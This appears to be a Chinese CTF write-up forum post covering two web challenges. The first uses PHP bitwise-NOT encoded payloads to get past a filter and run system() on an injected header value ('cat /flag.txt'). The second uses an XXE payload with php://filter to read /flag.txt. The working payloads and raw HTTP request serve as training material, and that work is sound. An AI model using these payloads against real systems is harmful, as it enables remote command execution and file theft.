假设我们需要执行一些代码,而不能直接使用常规字符。可以通过编码一些函数名或代码,再通过反转的方式规复它们。
那我们简单构造一下“// phpinfo 的值”;
  1. ?c=[~%8f%97%8f%96%91%99%90][!%FF]();
复制代码
这里注意:加这个[%FF]只是由于php7的解析方式,当然换成其他的也可以例如[%EF] [~%CF]
传参得到;

测试成功,同样的本领,构造出 system(current(getallheaders()));举行文件读取;
  1. ?c=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
复制代码
简单分析一下;
   这个 ?c=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
是一种通过取反操作和编码构造的复杂表达式,可以绕过过滤规则,执行代码。
  代码布局分析:
这段代码使用了字符编码的方式,并使用了按位取反运算符 ~ 来尝试绕过正则表达式的过滤。通过构造字符编码,并举行按位取反,最终还原出可执行的 PHP 代码。
重要部分:
分析关键点:

最后添加头部“x:”下令,那这里可能有的师傅就迷惑了;
  1. GET /?c=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));
  2. HTTP/1.1Host: 10.246.19.155:40221Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: user=Tzo0OiJVc2VyIjoyOntzOjc6InByb2ZpbGUiO086NzoiUHJvZmlsZSI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxMjoicGljdHVyZV9wYXRoIjtzOjI3OiJpbWFnZXMvcmVhbF9wcm9ncmFtbWVycy5wbmciO31zOjU6InBvc3RzIjthOjA6e319
  3. Connection: closex: cat /flag.txt
复制代码
简单来说就是在这个请求中,x: cat /flag 看起来是一个伪造或非法的 HTTP 请求头,通常用于尝试通过某种方式注入下令。让我们从几个方面举行分析:

这里的 cat /flag 是 Unix/Linux 系统中的一个下令,用于读取 /flag 文件的内容。我们就试图通过这种方式从服务器获取敏感信息。
如果 x: cat /flag 无法工作或想换一个方式,可以尝试以下几种变体:



9、WEB- ohmsg

解题思绪
打开靶机,如图下;

“Ctrl+u”简单检察源码;

简单分析一下;
   简单来说开始,这个 JavaScript 代码通过 doLogin 函数实现了一个发送 XML 数据的 AJAX 请求,并处置惩罚返回的结果。具体分析如下:
   该函数重要作用是:

var msg = $("#msg").val();

var data = `<msg>${msg}</msg>`;

$.ajax({ type: "OST", url: "api.php", contentType: "application/xml;charset=utf-8", data: data, dataType: "xml", anysc: false, // 注意这里应该是 "async: false"

success: function (result) { alert("ok"); }, error: function (XMLHttpRequest,textStatus,errorThrown) { alert('error'); }

目的;
由于这个请求是将用户输入的数据直接包裹在 XML 中发送,存在以下漏洞:
payload;
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE foo [
  3. <!ELEMENT foo ANY >
  4. <!ENTITY xxe PUBLIC "" "php://filter/convert.base64-encode/resource=/flag.txt"
  5. ]>
  6. <msg>&xxe;</msg>
复制代码
简单分析一下;
首先可以肯定的就是我们这段 XML 数据片断是一次典型的 XXE(XML External Entity) 攻击,使用 XML 外部实体注入来获取服务器上的敏感信息。具体分析如下:
这段 XML 代码的焦点目的是通过外部实体注入来读取服务器上的文件,并通过 Base64 编码的方式对文件内容举行编码,最终返回给我们。
XML 声明
<?xml version="1.0" encoding="UTF-8"?>

DTD 声明
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe PUBLIC "" "php://filter/convert.base64-encode/resource=/flag.txt" >]>

实体引用
<msg>&xxe;</msg>



接着使用“bp”举行抓包传参并修改得到;

“base64”解码得到;

至此;
  1. flag{195b6cddf1d3e9a46d5ecb8a0cc27d6c}
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4